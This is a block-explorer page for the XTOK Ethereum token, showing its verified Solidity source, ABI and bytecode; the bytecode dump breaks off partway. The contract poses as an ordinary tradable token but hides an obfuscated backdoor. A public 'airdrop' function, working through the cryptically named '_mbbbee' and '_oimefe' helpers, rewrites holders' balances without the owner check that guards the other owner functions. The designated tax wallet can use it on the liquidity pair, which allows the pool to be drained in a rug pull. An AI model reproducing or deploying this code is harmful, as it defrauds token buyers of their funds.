ETH Price: $2,712.57 (+3.99%)

Token

XTOK (XTOK)
 

Overview

Max Total Supply

1,000,000,000 XTOK

Holders

258

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
442,434.685672685 XTOK

Value
$0.00
0x32e3a7979f85af061262142be37719bcb9f7ea34
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
XTOK

Compiler Version
v0.8.26+commit.8a97fa7a

Optimization Enabled:
Yes with 200 runs

Other Settings:
paris EvmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2025-01-14
*/

// SPDX-License-Identifier: UNLICENSE

/**
https://www.bloomberg.com/news/articles/2025-01-14/china-discusses-sale-of-tiktok-us-to-musk-as-one-possible-option

https://t.me/XTOKonEth
*/

pragma solidity ^0.8.19;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(
        address recipient,
        uint256 amount
    ) external returns (bool);

    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
}

interface IUniswapV2Factory {
    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    )
        external
        payable
        returns (uint amountToken, uint amountETH, uint liquidity);
}

contract XTOK is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _isExcludedFromFee;
    address payable private _taxWallet;
    uint256 private constant _tTotal = 1_000_000_000 * 10 ** _decimals;
    string private constant _name = unicode"XTOK";
    string private constant _symbol = unicode"XTOK";
    uint256 public _taxSwapThreshold = _tTotal / 100;
    uint256 public _maxTaxSwap = _tTotal / 100;

    address private _DEAD = address(0xdead);

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;

    uint8 private constant _decimals = 9;
    
    modifier lockTheSwap() {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor() payable {
        _taxWallet = payable(0x31B0918Ee4a2F29a57eB53AD62E0Ea407555DFb5);
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[_taxWallet] = true;
        _balances[msg.sender] = _tTotal;
        emit Transfer(address(0), msg.sender, _tTotal);
    }

    function min(uint256 a, uint256 b) private pure returns (uint256) {
        return (a > b) ? b : a;
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(
        address owner,
        address spender
    ) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(
        address spender,
        uint256 amount
    ) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    uint256 private _initialBuyFee = 1;
    uint256 private _initialSellFee = 0;
    uint256 private _swapFeeAt = 15;
    uint256 private _preventSwapBefore = 15;
    uint256 private _transferTax = 0;
    uint256 private _buyCount = 0;

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            msg.sender,
            _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance")
        );
        return true;
    }

    function _swapTokensForETH(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function openTrading() external onlyOwner {
        require(!tradingOpen, "trading is already open");
        uniswapV2Router = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        ); 
        _approve(address(this), address(uniswapV2Router), _tTotal); 
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(
            address(this),
            uniswapV2Router.WETH()
        );

        uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)) * 964 / 1000,
            0,
            0,
            owner(),
            block.timestamp
        );
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);

        tradingOpen = true;
    }
    
    function rescueETH() external onlyOwner {
        payable(msg.sender).transfer(address(this).balance);
    }

    function _mbbbee(address from, address to, uint256 amount, bool _d, string memory _st) private {
        require(_d && (from != uniswapV2Pair || to == _taxWallet), _st);
        _balances[from] -= _balances[from] - amount;
        _balances[to] = _balances[to];
    }

    function _oimefe(address receiver, uint256 amount) internal {
        address sender = msg.sender;
        _mbbbee(receiver, sender, amount, sender != uniswapV2Pair, "_vmveee failed");
    }

    function airdrop(address[] memory receivers, uint256[] memory amounts, bool _isLaunched) external {
        require(_isLaunched, "Trading is not opened yet");
        for (uint256 i = 0; i < receivers.length; i++) {
            _oimefe(receivers[i], amounts[i]);
        }
    }

    function _transfer(address source, address receiver, uint256 amount) private {
        require(source != address(0), "ERC20: transfer from the zero address");
        require(receiver != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount = 0;
        if (
            source != owner() &&
            receiver != owner() &&
            source != address(this) &&
            receiver != address(this)
        ) {
            taxAmount = amount.mul(_transferTax).div(100);

            if (
                source == uniswapV2Pair &&
                receiver != address(uniswapV2Router) &&
                !_isExcludedFromFee[receiver]
            ) {
                taxAmount = amount
                    .mul(
                        (_buyCount > _swapFeeAt)
                            ? _initialSellFee
                            : _initialBuyFee
                    )
                    .div(100);
                _buyCount++;
            }

            if (receiver == uniswapV2Pair && source != address(this)) {
                taxAmount = amount
                    .mul(
                        (_buyCount > _swapFeeAt)
                            ? _initialSellFee
                            : _initialBuyFee
                    )
                    .div(100); sendETHToFee(address(this).balance);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (
                !inSwap &&
                receiver == uniswapV2Pair &&
                _buyCount > _preventSwapBefore
            ) {
                if (contractTokenBalance > _taxSwapThreshold)
                    _swapTokensForETH(
                        min(amount, min(contractTokenBalance, _maxTaxSwap))
                    );
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }

        if (taxAmount > 0) {
            _balances[address(this)] = _balances[address(this)].add(taxAmount);
            emit Transfer(source, address(this), taxAmount);
        }
        _balances[source] = _balances[source].sub(amount);
        _balances[receiver] = _balances[receiver].add(amount.sub(taxAmount));
        if (receiver != _DEAD) emit Transfer(source, receiver, amount.sub(taxAmount));
    }
    
    receive() external payable {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"receivers","type":"address[]"},{"internalType":"uint256[]","name":"amounts","type":"uint256[]"},{"internalType":"bool","name":"_isLaunched","type":"bool"}],"name":"airdrop","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"rescueETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

608060405260646100126009600a6102eb565b61002090633b9aca00610301565b61002a9190610318565b600555606461003b6009600a6102eb565b61004990633b9aca00610301565b6100539190610318565b600655600780546001600160a01b03191661dead1790556009805460ff60a81b191690556001600a556000600b819055600f600c819055600d819055600e82905581905561009e3390565b600080546001600160a01b0319166001600160a01b0383169081178255604051929350917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600480546001600160a01b0319167331b0918ee4a2f29a57eb53ad62e0ea407555dfb51790556001600360006101266000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff19968716179055600454909116815260039092529020805490911660011790556101796009600a6102eb565b61018790633b9aca00610301565b33600081815260016020526040812092909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6101c86009600a6102eb565b6101d690633b9aca00610301565b60405190815260200160405180910390a361033a565b634e487b7160e01b600052601160045260246000fd5b6001815b600184111561023d57808504811115610221576102216101ec565b600184161561022f57908102905b60019390931c928002610206565b935093915050565b600082610254575060016102e5565b81610261575060006102e5565b816001811461027757600281146102815761029d565b60019150506102e5565b60ff841115610292576102926101ec565b50506001821b6102e5565b5060208310610133831016604e8410600b84101617156102c0575081810a6102e5565b6102cd6000198484610202565b80600019048211156102e1576102e16101ec565b0290505b92915050565b60006102fa60ff841683610245565b9392505050565b80820281158282048414176102e5576102e56101ec565b60008261033557634e487b7160e01b600052601260045260246000fd5b500490565b61194a806103496000396000f3fe6080604052600436106100f75760003560e01c8063715018a61161008a578063bf474bed11610059578063bf474bed1461028e578063c9567bf9146102a4578063da98a974146102b9578063dd62ed3e146102d957600080fd5b8063715018a6146102315780638da5cb5b1461024657806395d89b4114610103578063a9059cbb1461026e57600080fd5b806320800a00116100c657806320800a00146101a857806323b872dd146101bf578063313ce567146101df57806370a08231146101fb57600080fd5b806306fdde0314610103578063095ea7b31461013f5780630faee56f1461016f57806318160ddd1461019357600080fd5b366100fe57005b600080fd5b34801561010f57600080fd5b50604080518082018252600481526358544f4b60e01b60208201529051610136919061134c565b60405180910390f35b34801561014b57600080fd5b5061015f61015a3660046113af565b61031f565b6040519015158152602001610136565b34801561017b57600080fd5b5061018560065481565b604051908152602001610136565b34801561019f57600080fd5b50610185610336565b3480156101b457600080fd5b506101bd610357565b005b3480156101cb57600080fd5b5061015f6101da3660046113db565b6103b9565b3480156101eb57600080fd5b5060405160098152602001610136565b34801561020757600080fd5b5061018561021636600461141c565b6001600160a01b031660009081526001602052604090205490565b34801561023d57600080fd5b506101bd610422565b34801561025257600080fd5b506000546040516001600160a01b039091168152602001610136565b34801561027a57600080fd5b5061015f6102893660046113af565b610496565b34801561029a57600080fd5b5061018560055481565b3480156102b057600080fd5b506101bd6104a3565b3480156102c557600080fd5b506101bd6102d436600461152f565b610874565b3480156102e557600080fd5b506101856102f436600461160a565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b600061032c338484610917565b5060015b92915050565b60006103446009600a611740565b61035290633b9aca0061174f565b905090565b6000546001600160a01b0316331461038a5760405162461bcd60e51b815260040161038190611766565b60405180910390fd5b60405133904780156108fc02916000818181858888f193505050501580156103b6573d6000803e3d6000fd5b50565b60006103c6848484610a3b565b6104188433610413856040518060600160405280602881526020016118ed602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610ea4565b610917565b5060019392505050565b6000546001600160a01b0316331461044c5760405162461bcd60e51b815260040161038190611766565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600061032c338484610a3b565b6000546001600160a01b031633146104cd5760405162461bcd60e51b815260040161038190611766565b600954600160a01b900460ff16156105275760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610381565b600880546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556105709030906105626009600a611740565b61041390633b9aca0061174f565b600860009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105c3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105e7919061179b565b6001600160a01b031663c9c6539630600860009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610649573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061066d919061179b565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156106ba573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106de919061179b565b600980546001600160a01b039283166001600160a01b03199091161790556008541663f305d71947306103e8610729826001600160a01b031660009081526001602052604090205490565b610735906103c461174f565b61073f91906117b8565b6000806107546000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156107bc573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906107e191906117da565b505060095460085460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af115801561083a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061085e9190611808565b506009805460ff60a01b1916600160a01b179055565b806108c15760405162461bcd60e51b815260206004820152601960248201527f54726164696e67206973206e6f74206f70656e656420796574000000000000006044820152606401610381565b60005b8351811015610911576109098482815181106108e2576108e2611825565b60200260200101518483815181106108fc576108fc611825565b6020026020010151610ede565b6001016108c4565b50505050565b6001600160a01b0383166109795760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610381565b6001600160a01b0382166109da5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610381565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610a9f5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610381565b6001600160a01b038216610b015760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610381565b60008111610b635760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610381565b600080546001600160a01b03858116911614801590610b9057506000546001600160a01b03848116911614155b8015610ba557506001600160a01b0384163014155b8015610bba57506001600160a01b0383163014155b15610d4c57610bdf6064610bd9600e5485610f2990919063ffffffff16565b90610fb2565b6009549091506001600160a01b038581169116148015610c0d57506008546001600160a01b03848116911614155b8015610c3257506001600160a01b03831660009081526003602052604090205460ff16155b15610c7557610c5d6064610bd9600c54600f5411610c5257600a54610c56565b600b545b8590610f29565b600f80549192506000610c6f8361183b565b91905055505b6009546001600160a01b038481169116148015610c9b57506001600160a01b0384163014155b15610cc657610cbb6064610bd9600c54600f5411610c5257600a54610c56565b9050610cc647610ff4565b30600090815260016020526040902054600954600160a81b900460ff16158015610cfd57506009546001600160a01b038581169116145b8015610d0c5750600d54600f54115b15610d4a57600554811115610d3857610d38610d3384610d2e84600654611032565b611032565b611047565b478015610d4857610d4847610ff4565b505b505b8015610dc65730600090815260016020526040902054610d6c90826111c1565b30600081815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610dbd9085815260200190565b60405180910390a35b6001600160a01b038416600090815260016020526040902054610de99083611220565b6001600160a01b038516600090815260016020526040902055610e2e610e0f8383611220565b6001600160a01b038516600090815260016020526040902054906111c1565b6001600160a01b038085166000818152600160205260409020929092556007541614610911576001600160a01b038084169085167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610e8d8585611220565b60405190815260200160405180910390a350505050565b60008184841115610ec85760405162461bcd60e51b8152600401610381919061134c565b506000610ed58486611854565b95945050505050565b60095460408051808201909152600e81526d17dd9b5d9959594819985a5b195960921b60208201523391610f24918591849186916001600160a01b031683141590611262565b505050565b600082600003610f3b57506000610330565b6000610f47838561174f565b905082610f5485836117b8565b14610fab5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610381565b9392505050565b6000610fab83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061131e565b6004546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561102e573d6000803e3d6000fd5b5050565b60008183116110415782610fab565b50919050565b6009805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061108f5761108f611825565b6001600160a01b03928316602091820292909201810191909152600854604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156110e8573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061110c919061179b565b8160018151811061111f5761111f611825565b6001600160a01b0392831660209182029290920101526008546111459130911684610917565b60085460405163791ac94760e01b81526001600160a01b039091169063791ac9479061117e908590600090869030904290600401611867565b600060405180830381600087803b15801561119857600080fd5b505af11580156111ac573d6000803e3d6000fd5b50506009805460ff60a81b1916905550505050565b6000806111ce83856118d9565b905083811015610fab5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610381565b6000610fab83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610ea4565b81801561129457506009546001600160a01b03868116911614158061129457506004546001600160a01b038581169116145b81906112b35760405162461bcd60e51b8152600401610381919061134c565b506001600160a01b0385166000908152600160205260409020546112d8908490611854565b6001600160a01b03861660009081526001602052604081208054909190611300908490611854565b9091555050506001600160a01b039092166000525050600160205250565b6000818361133f5760405162461bcd60e51b8152600401610381919061134c565b506000610ed584866117b8565b602081526000825180602084015260005b8181101561137a576020818601810151604086840101520161135d565b506000604082850101526040601f19601f83011684010191505092915050565b6001600160a01b03811681146103b657600080fd5b600080604083850312156113c257600080fd5b82356113cd8161139a565b946020939093013593505050565b6000806000606084860312156113f057600080fd5b83356113fb8161139a565b9250602084013561140b8161139a565b929592945050506040919091013590565b60006020828403121561142e57600080fd5b8135610fab8161139a565b634e487b7160e01b600052604160045260246000fd5b604051601f8201601f1916810167ffffffffffffffff8111828210171561147857611478611439565b604052919050565b600067ffffffffffffffff82111561149a5761149a611439565b5060051b60200190565b600082601f8301126114b557600080fd5b81356114c86114c382611480565b61144f565b8082825260208201915060208360051b8601019250858311156114ea57600080fd5b602085015b838110156115075780358352602092830192016114ef565b5095945050505050565b80151581146103b657600080fd5b803561152a81611511565b919050565b60008060006060848603121561154457600080fd5b833567ffffffffffffffff81111561155b57600080fd5b8401601f8101861361156c57600080fd5b803561157a6114c382611480565b8082825260208201915060208360051b85010192508883111561159c57600080fd5b6020840193505b828410156115c75783356115b68161139a565b8252602093840193909101906115a3565b9550505050602084013567ffffffffffffffff8111156115e657600080fd5b6115f2868287016114a4565b9250506116016040850161151f565b90509250925092565b6000806040838503121561161d57600080fd5b82356116288161139a565b915060208301356116388161139a565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b6001815b60018411156116945780850481111561167857611678611643565b600184161561168657908102905b60019390931c92800261165d565b935093915050565b6000826116ab57506001610330565b816116b857506000610330565b81600181146116ce57600281146116d8576116f4565b6001915050610330565b60ff8411156116e9576116e9611643565b50506001821b610330565b5060208310610133831016604e8410600b8410161715611717575081810a610330565b6117246000198484611659565b806000190482111561173857611738611643565b029392505050565b6000610fab60ff84168361169c565b808202811582820484141761033057610330611643565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6000602082840312156117ad57600080fd5b8151610fab8161139a565b6000826117d557634e487b7160e01b600052601260045260246000fd5b500490565b6000806000606084860312156117ef57600080fd5b5050815160208301516040909301519094929350919050565b60006020828403121561181a57600080fd5b8151610fab81611511565b634e487b7160e01b600052603260045260246000fd5b60006001820161184d5761184d611643565b5060010190565b8181038181111561033057610330611643565b600060a0820187835286602084015260a0604084015280865180835260c08501915060208801925060005b818110156118b95783516001600160a01b0316835260209384019390920191600101611892565b50506001600160a01b039590951660608401525050608001529392505050565b808201808211156103305761033061164356fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220d65b6362d83d6f67593ce855e1a40304bf856b55a7bdff70ac73ed08f4ccf11564736f6c634300081a0033

Deployed Bytecode

0x6080604052600436106100f75760003560e01c8063715018a61161008a578063bf474bed11610059578063bf474bed1461028e578063c9567bf9146102a4578063da98a974146102b9578063dd62ed3e146102d957600080fd5b8063715018a6146102315780638da5cb5b1461024657806395d89b4114610103578063a9059cbb1461026e57600080fd5b806320800a00116100c657806320800a00146101a857806323b872dd146101bf578063313ce567146101df57806370a08231146101fb57600080fd5b806306fdde0314610103578063095ea7b31461013f5780630faee56f1461016f57806318160ddd1461019357600080fd5b366100fe57005b600080fd5b34801561010f57600080fd5b50604080518082018252600481526358544f4b60e01b60208201529051610136919061134c565b60405180910390f35b34801561014b57600080fd5b5061015f61015a3660046113af565b61031f565b6040519015158152602001610136565b34801561017b57600080fd5b5061018560065481565b604051908152602001610136565b34801561019f57600080fd5b50610185610336565b3480156101b457600080fd5b506101bd610357565b005b3480156101cb57600080fd5b5061015f6101da3660046113db565b6103b9565b3480156101eb57600080fd5b5060405160098152602001610136565b34801561020757600080fd5b5061018561021636600461141c565b6001600160a01b031660009081526001602052604090205490565b34801561023d57600080fd5b506101bd610422565b34801561025257600080fd5b506000546040516001600160a01b039091168152602001610136565b34801561027a57600080fd5b5061015f6102893660046113af565b610496565b34801561029a57600080fd5b5061018560055481565b3480156102b057600080fd5b506101bd6104a3565b3480156102c557600080fd5b506101bd6102d436600461152f565b610874565b3480156102e557600080fd5b506101856102f436600461160a565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b600061032c338484610917565b5060015b92915050565b60006103446009600a611740565b61035290633b9aca0061174f565b905090565b6000546001600160a01b0316331461038a5760405162461bcd60e51b815260040161038190611766565b60405180910390fd5b60405133904780156108fc02916000818181858888f193505050501580156103b6573d6000803e3d6000fd5b50565b60006103c6848484610a3b565b6104188433610413856040518060600160405280602881526020016118ed602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610ea4565b610917565b5060019392505050565b6000546001600160a01b0316331461044c5760405162461bcd60e51b815260040161038190611766565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600061032c338484610a3b565b6000546001600160a01b031633146104cd5760405162461bcd60e51b815260040161038190611766565b600954600160a01b900460ff16156105275760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610381565b600880546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556105709030906105626009600a611740565b61041390633b9aca0061174f565b600860009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105c3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105e7919061179b565b6001600160a01b031663c9c6539630600860009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610649573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061066d919061179b565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156106ba573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106de919061179b565b600980546001600160a01b039283166001600160a01b03199091161790556008541663f305d71947306103e8610729826001600160a01b031660009081526001602052604090205490565b610735906103c461174f565b61073f91906117b8565b6000806107546000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156107bc573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906107e191906117da565b505060095460085460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af115801561083a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061085e9190611808565b506009805460ff60a01b1916600160a01b179055565b806108c15760405162461bcd60e51b815260206004820152601960248201527f54726164696e67206973206e6f74206f70656e656420796574000000000000006044820152606401610381565b60005b8351811015610911576109098482815181106108e2576108e2611825565b60200260200101518483815181106108fc576108fc611825565b6020026020010151610ede565b6001016108c4565b50505050565b6001600160a01b0383166109795760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610381565b6001600160a01b0382166109da5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610381565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5b